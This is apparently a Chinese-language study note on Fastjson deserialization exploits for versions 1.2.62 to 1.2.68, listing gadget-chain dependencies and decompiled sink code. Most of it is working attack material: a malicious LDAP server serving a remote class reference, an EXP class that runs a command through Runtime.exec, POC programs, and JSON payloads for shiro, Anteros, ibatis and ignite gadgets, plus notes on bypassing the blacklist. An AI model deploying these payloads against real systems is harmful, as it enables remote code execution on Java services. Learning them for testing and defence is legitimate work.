Fasjson 1.2.62
依赖
组件漏洞
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.18</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
利用条件
- Auto Type开启
- 版本<=1.2.62
- JNDI注入收到JDK版本的限制
- 存在xbean-reflect包
JndiConverter#toObjectImpl()
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.apache.xbean.propertyeditor;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JndiConverter extends AbstractConverter {
public JndiConverter() {
super(Context.class);
}
protected Object toObjectImpl(String text) {
try {
InitialContext context = new InitialContext();
return (Context)context.lookup(text);
} catch (NamingException e) {
throw new PropertyEditorException(e);
}
}
}
lookup触发点,但是要求是Context类型的对象,而且是调用到父类构造函数
protected AbstractConverter(Class type) {
this(type, true);
}
protected AbstractConverter(Class type, boolean trim) {
if (type == null) {
throw new NullPointerException("type is null");
} else {
this.type = type;
this.trim = trim;
}
}
在父类中有setAsText方法,调用到toObject()
public final void setAsText(String text) {
Object value = this.toObject(this.trim ? text.trim() : text);
super.setValue(value);
}
跟进
public final Object toObject(String text) {
if (text == null) {
return null;
} else {
Object value = this.toObjectImpl(this.trim ? text.trim() : text);
return value;
}
}
可以看到调用到了toObjectImpl(),所以我们的poc是
{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\"," +
"\"asText\":\"ldap://localhost:1389/EXP\"}
LDAP
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
public class LDAP {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
String codebase = "http://127.0.0.1:8888/";
int port = 1389;
if (args.length > 0) {
codebase = args[0];
}
if (args.length > 1) {
port = Integer.parseInt(args[1]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(codebase)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("[*] Listening on 0.0.0.0:" + port);
System.out.println("[*] Codebase: " + codebase);
ds.startListening();
System.out.println("[*] LDAP Server started, waiting for requests...");
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
System.out.println("[*] Received request for: " + base);
Entry e = new Entry(base);
try {
// 关键修改:返回 ContextFactory 而不是 EXP
String codebaseUrl = this.codebase.toString();
if (!codebaseUrl.endsWith("/")) {
codebaseUrl += "/";
}
// 设置 LDAP 条目属性,返回一个可以创建 Context 对象的工厂
e.addAttribute("javaClassName", "javax.naming.InitialContext");
e.addAttribute("javaCodeBase", codebaseUrl);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", "ContextFactory"); // 使用 ContextFactory
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
System.out.println("[*] Sent ContextFactory reference");
} catch (Exception e1) {
System.err.println("[!] Error: " + e1.getMessage());
e1.printStackTrace();
}
}
}
}
EXP
得是Context对象
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class ContextFactory implements ObjectFactory {
static {
System.out.println("=== ContextFactory loaded ===");
try {
// 在这里执行你的恶意代码
Runtime.getRuntime().exec("calc.exe");
System.out.println("=== Calculator executed ===");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)
throws Exception {
System.out.println("=== ContextFactory.getObjectInstance() called ===");
// 返回一个 InitialContext 对象,满足 JndiConverter 的类型要求
return new InitialContext();
}
}
POC
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class POC {
public static void main(String[] args) {
System.out.println("[*] Starting Fastjson JNDI Injection Test...");
// 开启 AutoType 支持
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 使用 JndiConverter Gadget
String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\"," +
"\"asText\":\"ldap://localhost:1389/EXP\"}";
System.out.println("[*] Payload: " + poc);
System.out.println("[*] Parsing JSON...");
try {
JSON.parse(poc);
System.out.println("[*] JSON parsed successfully");
} catch (Exception e) {
System.err.println("[!] Error: " + e.getMessage());
e.printStackTrace();
}
}
}

Fasjson 1.2.66
要求组件:
- org.apache.shiro.jndi.JndiObjectFactory 类需要 shiro-core 包
- br.com.anteros.dbcp.AnterosDBCPConfig 类需要 Anteros-Core 和 Anteros-DBCP 包
- com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig 类需要 ibatis-sqlmap 和 jta 包
存在JNDI注入
依赖
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
POC
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:9999/EXP"], "Realms":[""]}
依赖
br.com.anteros.dbcp.AnterosDBCPConfig
<!-- Anteros-Core -->
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-Core</artifactId>
<version>1.2.1</version>
</dependency>
<!-- Anteros-DBCP -->
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-DBCP</artifactId>
<version>1.0.1</version>
</dependency>
POC
package json_dome;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class poc3 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc ={\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:9999/EXP\"}";
JSON.parse(poc);
}
}
分析 AnterosDBCPConfig类下的
public void setMetricRegistry(Object metricRegistry) {
if (this.metricsTrackerFactory != null) {
throw new IllegalStateException("cannot use setMetricRegistry() and setMetricsTrackerFactory() together");
} else {
if (metricRegistry != null) {
metricRegistry = this.getObjectOrPerformJndiLookup(metricRegistry);
if (!UtilityElf.safeIsAssignableFrom(metricRegistry, "com.codahale.metrics.MetricRegistry") && !UtilityElf.safeIsAssignableFrom(metricRegistry, "io.micrometer.core.instrument.MeterRegistry")) {
throw new IllegalArgumentException("Class must be instance of com.codahale.metrics.MetricRegistry or io.micrometer.core.instrument.MeterRegistry");
}
}
this.metricRegistry = metricRegistry;
}
}
然后会进入到getObjectOrPerformJndiLookup方法,我们跟进
private Object getObjectOrPerformJndiLookup(Object object) {
if (object instanceof String) {
try {
InitialContext initCtx = new InitialContext();
return initCtx.lookup((String)object);
} catch (NamingException e) {
throw new IllegalArgumentException(e);
}
} else {
return object;
}
}
调用到lookup方法
或者
{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:9999/EXP\"}
也是一样的,只不走的是这个
public Object getHealthCheckRegistry() {
return this.healthCheckRegistry;
}
public void setHealthCheckRegistry(Object healthCheckRegistry) {
this.checkIfSealed();
if (healthCheckRegistry != null) {
healthCheckRegistry = this.getObjectOrPerformJndiLookup(healthCheckRegistry);
if (!(healthCheckRegistry instanceof HealthCheckRegistry)) {
throw new IllegalArgumentException("Class must be an instance of com.codahale.metrics.health.HealthCheckRegistry");
}
}
依赖
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类
<!-- iBatis SQL Maps -->
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-sqlmap</artifactId>
<version>2.3.4.726</version>
</dependency>
<!-- JTA (Java Transaction API) -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
POC
{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +
"\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:9999/EXP\"}}

Fastjson 1.2.67
前提条件
- 开启 AutoType;
- Fastjson <= 1.2.67;
- JNDI 注入利用所受的 JDK 版本限制;
- org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup 类需要 ignite-core、ignite-jta 和 jta 依赖;
- org.apache.shiro.jndi.JndiObjectFactory 类需要 shiro-core 和 slf4j-api 依赖;
黑名单绕过
依赖
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
<!-- Ignite Core -->
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-core</artifactId>
<version>2.16.0</version>
</dependency>
<!-- Ignite JTA -->
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-jta</artifactId>
<version>2.16.0</version>
</dependency>
<!-- JTA -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
POC
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:9999/EXP"], "tm": {"$ref":"$.tm"}}

依赖
org.apache.shiro.jndi.JndiObjectFactory
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
POC
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:9999/EXP","instance":{"$ref":"$.instance"}}
Fastjson 1.2.68
利用类必须是expectClass类的子类或实现类
主要是绕过checkAutoType函数的关键在于参数expectClass,可以构造恶意的JSON数据,传入某个类作为expectClass参数再传到另一个expectClass类的子类来实现绕过的